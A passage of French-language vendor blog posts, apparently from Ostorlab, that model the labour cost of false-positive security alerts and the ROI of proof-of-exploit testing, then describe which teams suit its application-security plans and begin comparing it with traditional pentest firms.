× average labor cost per alert
× number of periods per year (12 when the alert count is monthly)

Pour une alerte individuelle :

Labor cost per alert =
((developer investigation time + context-recovery time) × loaded developer hourly cost)
+ (security-review time × loaded security hourly cost)
+ other coordination costs not already included above

Utilisez le coût chargé plutôt que le seul salaire : charges patronales, avantages, équipement, encadrement et frais généraux comptent tous.

Ne comptez que les alertes qui atteignent réellement un workflow humain. Les alertes supprimées automatiquement n'imposent pas le même coût marginal.

Un exemple détaillé : pourquoi une fausse alerte peut dépasser 300 $

Supposons qu'un développeur passe :

90 minutes à vérifier le chemin de code, le comportement de l'application ou la configuration ;
15 minutes à lire le ticket et à se coordonner avec l'AppSec ;
45 minutes à reconstituer le contexte de développement interrompu.

Cela fait 2,5 heures de temps de développeur. À un coût entièrement chargé de 120 $ par heure :

2.5 hours × $120/hour = $300 per non-actionable alert

Il s'agit d'un scénario, pas d'une moyenne du secteur. Une équipe dont le coût horaire ou le workflow diffère doit y substituer ses propres chiffres.

Appliquons-le maintenant à un volume modeste :

Hypothèse	Valeur
Alertes acheminées aux développeurs chaque mois	120
Part ensuite close comme non actionnable	25 %
Effort de développeur par alerte non actionnable	2,5 heures
Coût chargé du développeur	120 $/heure
Coût mensuel développeur	9 000 $
Coût annuel développeur	108 000 $

Si un ingénieur AppSec consacre 20 minutes à chacune de ces 30 alertes mensuelles, à un coût chargé de 100 $ de l'heure, cela ajoute encore 1 000 $ par mois. Au total, cela représente environ 333 $ par alerte non actionnable, soit 10 000 $ par mois. La taxe annuelle modélisée atteint 120 000 $, avant de compter le retard de livraison, le travail en double ou le risque que les développeurs se mettent à ignorer la file d'attente.

Tri d'une alerte bruyante et vérification étayée par des preuves

Figure 1 : une alerte bruyante exige des investigations répétées et une reconstitution du contexte, tandis qu'une vulnérabilité étayée par des preuves permet à un ingénieur de vérifier la preuve et d'agir directement.

Pourquoi les faux positifs coûtent-ils plus que le temps de tri enregistré ?

Les minutes consignées dans un ticket constituent la plus petite partie de la taxe ; le coût caché est l'investigation, la reconstitution du contexte et la reprise du travail qu'effectue un développeur et que le ticket ne capture jamais.

Une alerte de sécurité peut obliger un développeur à identifier la version concernée, à retrouver le modèle d'autorisation prévu, à reproduire une requête avec des données de test adaptées, à déterminer si un contrôle en amont s'applique et à expliquer le résultat à l'équipe sécurité. Ensuite, il doit reprendre son travail initial.

Ce travail de récupération n'est pas un surcoût imaginaire.

Dans une étude exploratoire sur la reprise des tâches après des interruptions de l'activité de programmation, Chris Parnin et Spencer Rugaber ont constaté que les développeurs devaient couramment naviguer et chercher du contexte supplémentaire avant de modifier de nouveau le code ; seule une petite fraction des sessions enregistrées reprenait le codage en moins d'une minute.

Une alerte bruyante peut créer la même charge de reconstitution du contexte lorsqu'un développeur retourne à son travail sur une fonctionnalité. L'étude ne quantifie pas directement les interruptions dues aux alertes de sécurité ; le chiffre de 300 $ reste donc un scénario illustratif et non un résultat de l'étude. Lire l'étude de Parnin et Rugaber sur la reprise des tâches

Le modèle de coût est plus large que les seuls faux positifs au sens strict, mais il ne faut pas confondre ses catégories. Les faux positifs, les doublons et les alertes hors périmètre sont des candidats de vulnérabilité qui ne deviennent pas des tâches de remédiation. Les risques acceptés et les faiblesses réelles mais inatteignables peuvent être de véritables vulnérabilités qui exigent des décisions de gouvernance.

Suivez les deux catégories, car chacune consomme du temps, mais ne présentez pas le travail de gouvernance comme une erreur du scanner.

Le volume d'alertes non actionnables est l'indicateur opérationnel à instrumenter : les alertes closes sans tâche de remédiation, rapportées par catégorie plutôt que confondues avec le nombre brut de faux positifs du scanner.

Pourquoi les scanners de sécurité produisent-ils des faux positifs ?

Les scanners produisent du bruit parce que la détection de candidats opère avec des informations incomplètes sur les contrôles personnalisés, la configuration à l'exécution, les composants externes, l'atteignabilité et la logique métier. Ils restent néanmoins précieux : l'analyse statique peut identifier tôt dans le développement des chemins potentiellement dangereux, et les tests dynamiques peuvent révéler des comportements que le seul code source ne peut pas prouver.

Mais la détection de candidats n'équivaut pas à une vulnérabilité à signaler.

L'OWASP trace la même frontière : les outils d'analyse statique peuvent générer des faux positifs, et il est souvent difficile de confirmer si un problème identifié est une véritable vulnérabilité. Les recommandations de l'OWASP sur l'analyse statique

Les taux de faux positifs ne sont donc pas des statistiques marketing transposables. Dans le rapport étendu actuel portant sur 258 projets embarqués open source, CodeQL a signalé 709 vrais défauts avec un taux de faux positifs de 34 % ; c'est une preuve utile de l'ampleur du problème dans un environnement donné, pas un taux à appliquer à tous les scanners ou à toutes les bases de code. Lire le rapport de CodeQL sur 258 projets

La bonne réponse n'est pas d'arrêter de scanner. Une recherche portant sur 35 projets industriels a constaté que les outils d'analyse statique pouvaient rester rentables dans l'ensemble, car ils aidaient les équipes à trouver et à supprimer les défauts plus tôt Lire l'étude coûts-bénéfices.

L'objectif opérationnel est de conserver ce signal précoce tout en évitant que des hypothèses non étayées ne deviennent des tickets pour les développeurs.

Qu'est-ce que le test de sécurité avec preuve d'exploitation ?

Le test avec preuve d'exploitation valide une faiblesse candidate dans un environnement contrôlé avant qu'elle ne devienne un ticket pour les développeurs.

Le test avec preuve d'exploitation change le passage de relais :

Possible weakness → developer repeats the investigation → verdict

en :

Candidate weakness → controlled validation → evidence-backed finding, conditional result, or suppression

Les preuves doivent permettre à un relecteur de répondre rapidement à quatre questions :

Qu'est-ce qui a été testé exactement, et sur quelle version ou quel environnement ?
Quelles conditions ou quelle identité de test étaient nécessaires ?
Quelle requête, quelle action ou quel chemin de code a déclenché le comportement ?
Quel résultat observable établit l'impact, et quel contrôle négatif montre que le résultat est significatif ?

Ne recourez à la suppression que si la validation inclut des preuves issues d'un environnement comparable et des contrôles négatifs significatifs. L'impossibilité de reproduire le problème dans un seul test contraint ne prouve pas que le candidat était un faux positif.

Pour une vulnérabilité web ou d'API, il peut s'agir d'une commande curl expurgée, de la requête et de la réponse HTTP correspondantes, et d'une comparaison montrant l'échec d'autorisation attendu par rapport au résultat observé. Les preuves destinées aux développeurs, une fois assainies, doivent conserver les espaces réservés et le contexte de reproduction ; les requêtes complètes, les secrets et les autres éléments sensibles relèvent de dossiers de preuves à accès contrôlé. Pour les tests mobiles, cela peut inclure des captures d'écran, des logs d'exécution, de la télémétrie d'appareil et des étapes rejouables.

Preuve d'exploitation web et API

Figure 2 : une vulnérabilité assainie relie la cause racine à une requête expurgée et à la réponse observée, afin qu'un relecteur puisse vérifier le résultat sans refaire l'investigation initiale.

La preuve peut aussi reposer sur le code plutôt que sur une requête à l'exécution. Dans la vulnérabilité de code source RawSpeed ci-dessous, le panneau Exploitation Evidence conserve avec la vulnérabilité l'analyse des classes de largeur, les conditions minimisées de la PoC et la validation de la version vulnérable par rapport à la version corrigée. Un relecteur ayant accès au rapport peut consulter à nouveau ces preuves stockées dans la vue de détail, au lieu de les reconstituer à partir du résumé d'un ticket.

Preuve d'exploitation du code source conservée avec une vulnérabilité

Figure 3 : le dossier de preuves stocké d'une vulnérabilité de code source. Le rapport conserve les conditions bornées et la validation observée qui étayent la vulnérabilité, pour une inspection ultérieure par un relecteur.

Pour les applications mobiles et leurs API, Agentic Deep Scan fournit ces preuves (captures d'écran, logs de requêtes et réponses, reproduction pas à pas), puis ajoute des recommandations de remédiation et un nouveau test de vérification.

La limite importante : la preuve doit réduire considérablement la part du tri consacrée à la reproduction et à la recherche des faits. Elle ne ramène pas le jugement humain à zéro.

Un développeur peut encore devoir évaluer l'impact métier, confirmer que l'environnement de test correspond à la production, décider d'une remédiation sûre et vérifier que le correctif ne crée pas de régression. Un modèle de ROI crédible ne doit pas faire comme si ces décisions disparaissaient.

Étude de cas

Comment QMC a ramené la remédiation de quatre mois à une semaine en validant les vulnérabilités avant le passage de relais

Qatar Media Corporation (QMC), l'organisation médiatique nationale du Qatar, payait la taxe d'ingénierie décrite ci-dessus. Ses scanners signalaient des problèmes sans fournir assez de contexte pour agir, si bien que les vulnérabilités donnaient souvent lieu à des allers-retours entre la sécurité et les développeurs pour savoir si elles comptaient et pourquoi.

QMC a conservé Rule-Based Scan pour la couverture continue et ajouté Agentic Deep Scan pour investiguer et valider les vulnérabilités avant qu'elles n'atteignent les développeurs, avec une revue manuelle comme contrôle final. Les développeurs partaient de vulnérabilités validées au lieu de refaire l'investigation, et le cycle moyen de remédiation de QMC est passé de quatre mois à une semaine.

Lire l'étude de cas QMC

Comment calculer le ROI d'un test avec preuve d'exploitation ?

Le test avec preuve d'exploitation peut récupérer de la capacité de développement en raccourcissant le délai d'obtention d'un verdict. Le ROI financier n'est réalisé que lorsque cette capacité récupérée évite une dépense ou produit un résultat mesurable ; séparez donc la valeur de la capacité des économies réelles.

Utilisez un pilote pour comparer le workflow actuel au workflow étayé par des preuves.

Annual developer capacity value recovered =
alerts prevented from reaching developers or shortened by evidence
× (baseline developer handling time − post-evidence developer handling time)
× loaded developer hourly cost
× periods per year (12 for a monthly alert count)

Calculez ensuite :

Financial ROI =
((annual developer capacity value recovered × realization factor)
− annual incremental testing cost)
÷ annual incremental testing cost

realization factor (0–1) =
share of recovered capacity that avoids spend or creates measured output

Prenons un scénario illustratif de capacité de développement :

Mesure	Scanner de référence	Workflow étayé par des preuves
Temps par ticket développeur non actionnable	2,5 heures	0,5 heure
Coût chargé du développeur	120 $/heure	120 $/heure
Capacité consommée par alerte	300 $	60 $
Capacité récupérée par alerte raccourcie	—	240 $

Si la preuve ramène chacune des 30 alertes non actionnables mensuelles acheminées aux développeurs (120 acheminées × 25 % ensuite closes comme non actionnables) à 0,5 heure de temps de développeur :

30 × $240 × 12 = $86,400 annual developer capacity value recovered

Cela reste un modèle, pas une promesse. Utilisez les heures consignées additionnées ou une moyenne arithmétique par alerte pour estimer la valeur totale de la capacité ; utilisez la médiane et le P90 du délai d'obtention d'un verdict pour rendre compte de la performance du workflow. Substituez ensuite les coûts chargés propres à l'équipe, son facteur de réalisation et le nombre d'alertes réellement acheminées aux développeurs.

Que doit mesurer un pilote de test avec preuve d'exploitation ?

Un pilote de test avec preuve d'exploitation doit mesurer quatre résultats : le traitement des alertes, le délai d'obtention d'un verdict, la qualité des preuves et la couverture de détection.

Ne jugez pas une plateforme de test uniquement sur le nombre d'alertes ou la répartition des sévérités. Une file d'attente plus calme peut aussi résulter d'une détection plus faible. Exécutez-la sur un ensemble représentatif d'applications, d'API et de workflows authentifiés, puis suivez :

les alertes générées ;
les alertes acheminées à l'AppSec ;
les alertes acheminées aux développeurs ;
les vulnérabilités confirmées ;
les faux positifs et autres alertes non actionnables ;
le total des heures de développeur sur l'ensemble des alertes ;
le temps moyen arithmétique de développeur par alerte ;
la médiane et le P90 du délai d'obtention d'un verdict ;
le pourcentage de vulnérabilités avec des preuves rejouables ;
le délai entre la remédiation et le nouveau test vérifié ;
l'acceptation par les développeurs de la vulnérabilité et des recommandations de remédiation ;
la surface d'attaque prise en charge et la couverture des workflows authentifiés ;
les cas positifs injectés ou arbitrés de façon indépendante, et leur taux de détection.

Segmentez ces indicateurs par type de vulnérabilité. Une simple alerte de dépendance, un chemin d'injection potentiel et une faille d'autorisation en plusieurs étapes ont des coûts de validation différents. Les combiner en une seule moyenne peut masquer le goulot d'étranglement.

Quelles sont les limites du test avec preuve d'exploitation ?

Le test avec preuve d'exploitation peut être limité par l'évolution de l'environnement, les données de reproduction sensibles, l'écart entre les comptes de test contrôlés et l'impact en production, ainsi que par les erreurs de périmètre, d'authentification ou de conditions de comparaison.

C'est pourquoi un workflow étayé par des preuves exige, au minimum :

une autorisation écrite et des règles d'engagement ;
un périmètre explicite et des actions interdites ;
des identités de test sûres ;
des conditions de débit et d'arrêt ;
des contacts en cas d'incident ;
la gestion des identifiants ;
la conservation et la suppression des preuves à accès contrôlé ;
une responsabilité humaine pour les décisions à fort impact ; et
un nouveau test après remédiation.

Les recommandations de test du NIST traitent le test technique comme un processus de planification, d'analyse des résultats et d'élaboration de stratégies d'atténuation, et non comme la simple production d'un rapport. NIST SP 800-115

Quel est le véritable ROI du test avec preuve d'exploitation ?

Le ROI du test avec preuve d'exploitation est la capacité récupérée lorsque les preuves réduisent la reproduction et la recherche des faits avant le passage de relais ; son rendement financier dépend de la part de cette capacité qui est effectivement réalisée.

Les faux positifs ne sont pas seulement un problème de qualité du scanner. Ce sont un problème de capacité d'ingénierie.

Mesurez les alertes qui atteignent des humains, le temps nécessaire pour parvenir à un verdict et le coût chargé de ce temps. Évaluez ensuite le test avec preuve d'exploitation selon un critère pratique :

Élimine-t-il suffisamment d'incertitude avant le passage de relais pour que les développeurs consacrent leur temps à corriger un risque réel plutôt qu'à reproduire l'hypothèse du scanner ?

C'est le rendement opérationnel de la preuve : moins d'ingénieurs interrompus, une remédiation plus rapide des vulnérabilités confirmées et une file d'attente de sécurité en laquelle les développeurs peuvent avoir confiance.

Lancez une évaluation circonscrite du test avec preuve d'exploitation avec Agentic Deep Scan sur des applications mobiles représentatives et leurs API. Mesurez le délai d'obtention d'un verdict et les alertes non actionnables acheminées aux développeurs avant et après, et pas seulement le nombre de vulnérabilités signalées.

Qui devrait utiliser Ostorlab ? Équipes idéales, cas d'usage et quand choisir autre chose

2026-09-28T08:00:00+02:00

Une équipe qui livre une application Android, une application iOS, l'API derrière elles et un tableau de bord web toutes les deux semaines fait souvent tourner un outil distinct pour chacun, puis trie quatre rapports à la main. Ostorlab est conçu pour cette équipe. Ce guide nomme aussi les équipes qu'il ne convient pas, et ce qu'elles devraient acheter à la place.

Réponse courte : Ostorlab convient aux équipes qui livrent souvent des applications mobiles, des applications web et des API, et qui veulent des vulnérabilités confirmées, étayées par un exploit fonctionnel, et non simplement ajoutées à une liste. Vous pouvez démarrer gratuitement avec le plan Community, lancer un Agentic Pentest scopé à partir de 499 $, ou couvrir une application en continu avec AppSec à partir de 299 $ par mois pour le web/API ou 599 $ pour le mobile, facturé annuellement. C'est un choix plus faible si vous avez besoin d'une boîte à outils de test manuel pratique, d'un déploiement entièrement air-gapped, ou de recherche sur le matériel, le firmware ou les smart contracts.

Ce guide s'adresse aux responsables sécurité, ingénieurs AppSec et équipes achats qui décident si Ostorlab mérite une place sur une shortlist. Les détails des plans datent de septembre 2026.

Divulgation : Ostorlab publie ce blog et vend les plans décrits ci-dessous. Les autres outils ne sont cités que pour le travail qu'ils font ; aucun fournisseur n'a relu cet article ni payé pour y figurer.

Que conçoit Ostorlab pour sécuriser ?

Ostorlab teste les applications et les actifs qui leur sont connectés, en les traitant comme une seule surface d'attaque plutôt que comme des scans séparés. La plateforme couvre :

Applications mobiles : Android, iOS et HarmonyOS, soumises sous forme de fichiers APK, XAPK, AAB ou IPA non chiffré, ou récupérées directement depuis le store ou TestFlight
Applications web et API : y compris les flux authentifiés, le parsing de schémas REST et GraphQL, et les workflows SSO et 2FA/OTP
Dépôts de code source : GitHub, GitLab, Bitbucket et Azure DevOps, plus l'analyse de conteneurs et de dépendances
Écosystèmes d'applications connectées : chemins d'attaque qui enchaînent l'application, ses API, le frontend web et le code
Surface d'attaque externe : découverte et surveillance des actifs exposés via Attack Surface
Applications mobiles tierces : évaluation des risques avant approbation via App Vetting

Chaque plan payant exécute les couches de scan standards : analyse statique (SAST), test dynamique (DAST), analyse de la composition logicielle (SCA) avec SBOM, détection de secrets, test de sécurité des API et vérifications de confidentialité. Les résultats de chaque couche partagent un seul espace de travail au lieu d'arriver sous forme de rapports séparés.

Par-dessus se trouve le test agentique : des agents IA qui explorent l'application en cours d'exécution, choisissent leur prochaine étape en fonction de ce qu'elle renvoie, et tentent de prouver l'impact. Il s'exécute en continu dans AppSec et Enterprise, et comme une évaluation ponctuelle et scopée dans Agentic Pentest. Pour comprendre comment il enchaîne les vulnérabilités à travers les actifs, voir le scan agentique multi-actifs.

Pour quelles équipes Ostorlab est-il conçu ?

Ostorlab convient là où les applications s'étendent sur plusieurs actifs connectés, sont livrées souvent, et génèrent plus de vulnérabilités que l'équipe ne peut en vérifier à la main. Six profils d'équipe correspondent à ce schéma.

Équipes d'ingénierie mobile-first

Les équipes qui livrent des applications natives Android, iOS ou HarmonyOS, ou des clients multiplateformes construits avec Flutter, React Native ou MAUI. L'espace de travail mobile teste le binaire conjointement avec les API et les dépôts derrière lui, de sorte qu'un secret intégré dans l'application et l'endpoint API auquel il donne accès sont testés comme une seule chaîne, et non comme deux vulnérabilités sans rapport. Pour HarmonyOS spécifiquement, voir notre guide de test de sécurité HarmonyOS.

Équipes AppSec sécurisant des applications connectées

Les organisations qui ont besoin que le frontend, les API, les clients mobiles et le code source soient évalués comme un seul environnement. Le mode de défaillance que cela traite est courant : chaque actif passe son propre scan, mais une chaîne entre deux d'entre eux, comme un jeton mobile accepté par une API d'administration, reste non testée.

Équipes DevSecOps qui publient chaque semaine

Les équipes qui livrent plus vite qu'un pentest manuel annuel ne peut suivre. La surveillance continue retest les nouvelles builds, dépendances et services exposés au fur et à mesure qu'ils apparaissent, et un Agentic Pentest peut couvrir une release majeure entre deux engagements manuels.

Équipes de sécurité submergées par des vulnérabilités non vérifiées

Les équipes qui ont déjà des scanners et ont besoin de résultats moins nombreux mais prouvés. L'Agentic Pentest d'Ostorlab attache un exploit fonctionnel à chaque vulnérabilité que ses agents IA confirment, et la validation des correctifs relance le test contre la build corrigée. Les développeurs peuvent aussi récupérer les vulnérabilités et appliquer des correctifs depuis des outils de codage IA via le serveur MCP Ostorlab.

Entreprises avec environnements privés et exigences de gouvernance

Les organisations qui ont besoin de l'authentification unique (SSO/SAML), du contrôle d'accès basé sur les rôles (RBAC), des journaux d'audit, de la clé IA apportée par le client (BYOK), et de la résidence des données aux États-Unis, dans l'UE, dans le CCG ou en APAC. Les cibles privées peuvent être testées avec le scanner on-premise, qui s'exécute à l'intérieur de votre réseau tandis que l'orchestration et le reporting restent dans le cloud Ostorlab.

Équipes risque et achats évaluant des applications mobiles tierces

Les équipes qui décident si les employés peuvent installer une application Android ou iOS externe. App Vetting combine analyse statique, test dynamique et exécution en sandbox en un score de risque pondéré couvrant les logiciels malveillants, la confidentialité, les vulnérabilités et la confiance de l'éditeur, puis réanalyse chaque nouvelle version à sa sortie. Voir comment se comparent les plateformes d'évaluation d'applications d'entreprise.

Quel plan Ostorlab convient à chaque équipe ?

Agentic Pentest convient à une évaluation unique et scopée, à partir de 499 $. AppSec convient à une couverture continue d'une application connectée, à partir de 299 $ par mois pour le web/API ou 599 $ pour le mobile, facturé annuellement. Enterprise convient à un portefeuille et a un prix sur mesure.

Équipe ou besoin	Plan	Prix publié	Ce qui est couvert
Une évaluation définie	Agentic Pentest	À partir de 499 $ (Core) ; Advanced 1 999 $ ; Elite 3 999 $ ; Hyperscale sur mesure	Évaluation multi-actifs scopée (application, API, web, code) avec un exploit fonctionnel pour chaque vulnérabilité confirmée et une fenêtre de retest
Une application mobile connectée	AppSec Mobile	599 $ par application par mois facturé annuellement, ou 653 $ mois par mois	1 application mobile, jusqu'à 3 cibles web/API, jusqu'à 3 dépôts, 20 AI Security Credits par mois
Une application web/API connectée	AppSec Web/API	299 $ par application par mois facturé annuellement, ou 326 $ mois par mois	Jusqu'à 3 cibles web/API, jusqu'à 3 dépôts, 20 AI Security Credits par mois
Plusieurs applications ou unités métier	Enterprise	Accord annuel sur mesure	Couverture configurable, crédits annuels mutualisés, gouvernance, intégrations, et niveaux de support jusqu'à un chargé de compte technique dédié avec un accord de niveau de service 24/7
Gouvernance des applications mobiles tierces	Enterprise	Sur mesure	App Vetting est inclus dans Enterprise
Exposition internet inconnue ou changeante	Enterprise	Sur mesure	Attack Surface est inclus dans Enterprise
Essayer la plateforme d'abord	Community	0 $	Scans d'applications mobiles illimités, découverte de la surface d'attaque et suivi de remédiation

Les quatre niveaux d'Agentic Pentest diffèrent en profondeur, mesurée en tokens d'agent (les plans AppSec utilisent des AI Security Credits à la place), et dans la mesure où les vulnérabilités sont rapportées sur l'échelle de confiance :

Niveau	Prix	Équivalent pentest Ostorlab	Tokens	Vulnérabilités rapportées
Core	499 $	1 semaine de pentest	50	Risques à confiance élevée
Advanced	1 999 $	2 à 4 semaines de pentest	200	Risques à confiance élevée et moyenne
Elite	3 999 $	4 à 8 semaines de pentest	400	Risques à confiance élevée et moyenne, plus des pistes spéculatives et à confiance plus faible
Hyperscale	Sur mesure	Adapté au scope	Sur mesure	Adapté au scope

Le test routinier de l'espace de travail est inclus dans les plans AppSec. Les AI Security Credits financent les actions avancées : test agentique, investigations Dig Deeper, Autofix et validation de correctifs.

Quand les crédits sont épuisés, le test routinier continue. Les vulnérabilités que les agents IA confirment arrivent avec un exploit fonctionnel ; Elite liste aussi des pistes à confiance plus faible, marquées comme telles. Ostorlab n'offre de validation humaine sur aucun plan : les agents IA valident chaque vulnérabilité avec un exploit fonctionnel.

Pour savoir comment le prix d'Agentic Pentest se compare aux pentests manuels, voir combien coûte un test d'intrusion d'application en 2026.

Quand devriez-vous choisir autre chose ?

Choisissez autre chose quand le besoin sort du périmètre de la sécurité applicative, quand vous n'avez besoin que d'un travail étroit et précis, ou quand l'acheteur exige un service spécifique livré par des humains.

Qu'est-ce qui sort du périmètre d'Ostorlab ?

Déploiement entièrement air-gapped et auto-hébergé. Le scanner on-premise est hybride : les scans s'exécutent à l'intérieur de votre réseau, mais la configuration, les vulnérabilités et le reporting sont gérés dans le cloud Ostorlab.
Travail sur le matériel, le firmware, la radio et les smart contracts. Ceux-ci nécessitent des laboratoires et cabinets de conseil spécialisés, en dehors de toute plateforme de sécurité applicative.
Ingénierie sociale et tests physiques. Le phishing et l'intrusion sur site nécessitent un fournisseur de red team.

Quand un outil plus étroit suffit-il ?

Burp Suite Professional, si un testeur expérimenté veut intercepter et rejouer du trafic à la main. C'est une boîte à outils pour une personne, pas un test continu ; de nombreuses équipes utilisent les deux.
MobSF, si vous voulez auto-héberger et modifier un scanner mobile open source et avez des ingénieurs pour le maintenir. Pour un scan mobile gratuit sans gérer votre propre infrastructure, le plan Community d'Ostorlab inclut des scans d'applications mobiles illimités.
Un outil de pentest de réseau interne, si le risque est le mouvement latéral via Active Directory plutôt que la couche applicative.
Un cabinet de conseil traditionnel, si un client, un auditeur ou un régulateur exige des testeurs humains indépendants nommés. Pour PCI DSS, demandez à votre Qualified Security Assessor (QSA) si une évaluation agentique répond à l'exigence 11.4. Voir pentest autonome vs. test d'intrusion traditionnel.

Vous comparez Ostorlab à une autre plateforme de sécurité applicative ? Lisez nos comparatifs côte à côte avec NowSecure, Appknox, XBOW et Aikido.

Que devriez-vous demander avant de choisir Ostorlab ?

Huit réponses déterminent si Ostorlab convient en pratique : allocation d'actifs, support de connexion, usage des crédits, validation humaine, accès privé, acceptation du rapport, conditions de retest et intégrations. Posez-les lors d'une démo ou d'un appel de cadrage et obtenez les réponses par écrit :

Quels actifs le plan choisi inclut-il, et comment les applications, cibles ou dépôts supplémentaires sont-ils facturés ?
Quelles méthodes de connexion, rôles et flux 2FA/OTP les agents utiliseront-ils, et qui fournit les comptes de test ?
Combien d'AI Security Credits votre test prévu et la validation de correctifs consommeront-ils chaque mois ?
Avez-vous besoin qu'une personne valide les vulnérabilités ? Ostorlab n'offre pas de validation humaine : les agents IA valident chaque vulnérabilité avec un exploit fonctionnel. Si une personne doit les valider, choisissez un cabinet de conseil traditionnel avec des testeurs humains nommés (voir « Quand devriez-vous choisir autre chose ? »).
Quelles cibles sont privées, et le scanner on-premise hybride répond-il à votre politique de traitement des données ?
Le rapport satisfera-t-il votre auditeur, vos clients ou votre processus d'achat ?
Avez-vous besoin d'une validation de correctif après remédiation ? Chaque Agentic Pentest inclut une fenêtre de retest ; la validation de correctif est une option additionnelle.
De quelles intégrations de ticketing, CI/CD et code source, et de quels contrôles de gouvernance avez-vous besoin ?

Questions fréquentes

Qui devrait utiliser Ostorlab ?

Les équipes qui livrent souvent des applications mobiles, des applications web et des API, et qui veulent des vulnérabilités confirmées étayées par un exploit fonctionnel. Il convient aux équipes d'ingénierie mobile-first, aux équipes AppSec sécurisant des applications connectées, aux équipes DevSecOps publiant chaque semaine, aux entreprises avec des environnements privés, et aux équipes risque évaluant des applications mobiles tierces.

Ostorlab convient-il aux startups ?

Oui. Le plan Community est gratuit et inclut des scans d'applications mobiles illimités. Un Agentic Pentest scopé démarre à 499 $, et AppSec coûte 299 $ par application par mois pour le web/API ou 599 $ pour le mobile, facturé annuellement. Pour budgétiser un premier pentest, voir le guide 2026 du test d'intrusion pour les startups.

Ostorlab convient-il aux entreprises ?

Oui. Le plan Enterprise ajoute une couverture de portefeuille configurable, des AI Security Credits annuels mutualisés, SSO/SAML, RBAC, journaux d'audit, BYOK, résidence des données aux États-Unis, dans l'UE, dans le CCG ou en APAC, et le déploiement on-premise en option. Attack Surface et App Vetting sont inclus. Ostorlab est audité SOC 2 Type II.

Ostorlab peut-il tester des applications mobiles, des applications web, des API et du code source ?

Oui. Ostorlab teste les applications Android, iOS et HarmonyOS, les applications web, les API REST et GraphQL, et les dépôts sur GitHub, GitLab, Bitbucket et Azure DevOps. Il peut les tester ensemble comme une seule surface d'attaque, de sorte que les chaînes entre actifs sont couvertes.

Ostorlab inclut-il le SAST et le DAST ?

Oui. Chaque plan payant inclut l'analyse statique (SAST), le test dynamique (DAST), l'analyse de la composition logicielle (SCA) et le test de sécurité des API, ainsi que l'analyse comportementale et à l'exécution et le test de workflows authentifiés via SSO et 2FA. Le test agentique tente ensuite d'exploiter ce que ces couches trouvent, de sorte que les problèmes confirmés arrivent avec une preuve.

Ostorlab remplace-t-il le test d'intrusion manuel ?

Pour un test fréquent et répétable du périmètre mobile, web et API, souvent oui. Le test manuel reste le bon choix pour la logique métier inhabituelle, l'architecture inédite, et les audits qui exigent un testeur humain indépendant nommé. De nombreuses équipes exécutent des pentests agentiques entre deux engagements manuels annuels.

Ostorlab prend-il en charge le scan on-premise ?

Oui, via un scanner on-premise hybride. Les scans s'exécutent à l'intérieur de votre réseau, tandis que la configuration, l'orchestration, les vulnérabilités et le reporting restent dans le cloud Ostorlab. Ce n'est pas un déploiement entièrement air-gapped et auto-hébergé.

Quel plan Ostorlab devrais-je choisir ?

Choisissez Agentic Pentest pour une évaluation unique et scopée, AppSec Mobile ou AppSec Web/API pour une couverture continue d'une application connectée, et Enterprise pour plusieurs applications, App Vetting ou Attack Surface. Commencez avec le plan Community gratuit pour essayer la plateforme.

Quand devrais-je choisir un autre outil de sécurité ?

Choisissez Burp Suite Professional pour le test manuel interactif, un cabinet de conseil spécialisé pour le matériel, le firmware, les smart contracts, ou des audits exigeant des testeurs humains nommés, et un scanner entièrement auto-hébergé si aucune donnée ne peut quitter votre réseau. SAST, DAST, SCA et détection de secrets sont inclus dans chaque plan payant Ostorlab, ce n'est donc pas une raison d'acheter un outil séparé.

Ostorlab convient-il aux sites web simples ?

Oui, même si un site statique a besoin de moins. Le DAST couvre le site sur chaque plan payant, et AppSec Web/API démarre à 299 $ par application par mois facturé annuellement. Le test d'actifs connectés et le test agentique apportent le plus de valeur une fois que le site gagne une connexion, une API, un client mobile ou des workflows sensibles.

Ostorlab peut-il évaluer des applications mobiles tierces ?

Oui. App Vetting évalue les applications Android et iOS externes avant approbation, en combinant analyse statique, test dynamique et exécution en sandbox en un score de risque pondéré couvrant les logiciels malveillants, la confidentialité, les vulnérabilités et la confiance. Il réanalyse chaque nouvelle version à sa sortie.

Quelle est la conclusion sur l'adéquation d'Ostorlab ?

Ostorlab convient si vos applications s'étendent sur plusieurs actifs connectés, que vous publiez souvent, et que vous avez besoin de vulnérabilités étayées par un exploit, connectées à des correctifs et des retests. Une option spécialisée convient mieux quand le besoin est le test manuel pratique, le déploiement air-gapped, ou la recherche sur le matériel, le firmware ou les smart contracts.

Pour faire correspondre un plan à vos applications, API et dépôts, comparez les plans et tarifs Ostorlab ou commencez avec le plan Community gratuit.

Ostorlab vs cabinets de pentest : comparatif coût et profondeur en 2026

2026-09-25T16:00:00+02:00

Un pentest réalisé en mars ne peut pas vous dire si le changement d'autorisation livré en avril est sûr. Et réserver une mission de conseil après chaque version importante devient vite coûteux.

La vraie question n'est donc pas « IA ou humains ? ». C'est : où avez-vous besoin de temps d'expert dédié, et à quelle fréquence le reste de votre application doit-il être testé ?

Réponse courte : Ostorlab réalise des pentests pilotés par l'IA d'applications mobiles, web et d'API, à partir de 499 $ pour une évaluation ponctuelle, avec des offres continues qui retestent à mesure que l'application évolue. Les cabinets traditionnels réservent des consultants humains pour un nombre de jours fixe, généralement de 3 000 à 18 000 $ pour une application web. Utilisez Ostorlab pour des tests fréquents, un cabinet pour une revue spécialisée ou de conception, ou les deux.

Transparence : cette comparaison est publiée par Ostorlab et inclut nos services. Elle repose sur la documentation publique, les grilles tarifaires et les descriptions de services en date de septembre 2026, et non sur une évaluation comparative directe des prestataires.

Quelle est la différence entre un cabinet de pentest et un pentest par IA ?

Un cabinet de pentest traditionnel vend du temps d'expert ; un pentest par IA vend des tests reproductibles, pilotés par des agents, et moins chers à relancer.

Un test d'intrusion est une attaque simulée et autorisée contre votre application. Il montre quelles faiblesses un véritable attaquant pourrait exploiter, avant qu'il ne le fasse.

Un cabinet de pentest traditionnel est un cabinet de conseil en sécurité. Il affecte des testeurs humains à votre application pour un périmètre et un nombre de jours convenus, puis remet un rapport.

Un pentest par IA utilise des agents IA pour explorer l'application, tenter des exploits et assembler les vulnérabilités trouvées. Comme ce sont des agents qui font les tests, et non des journées de consultant réservées, chaque exécution prend moins de temps et coûte moins cher à répéter.

Ostorlab est une plateforme de test de sécurité applicative pour les applications mobiles, web et d'API. Ses offres, telles qu'elles sont nommées dans cet article :

AI Pentest : l'évaluation ponctuelle et délimitée d'Ostorlab pour une application ou un écosystème connecté, avec une fenêtre de retest incluse. La validation humaine n'est pas incluse dans AI Pentest.
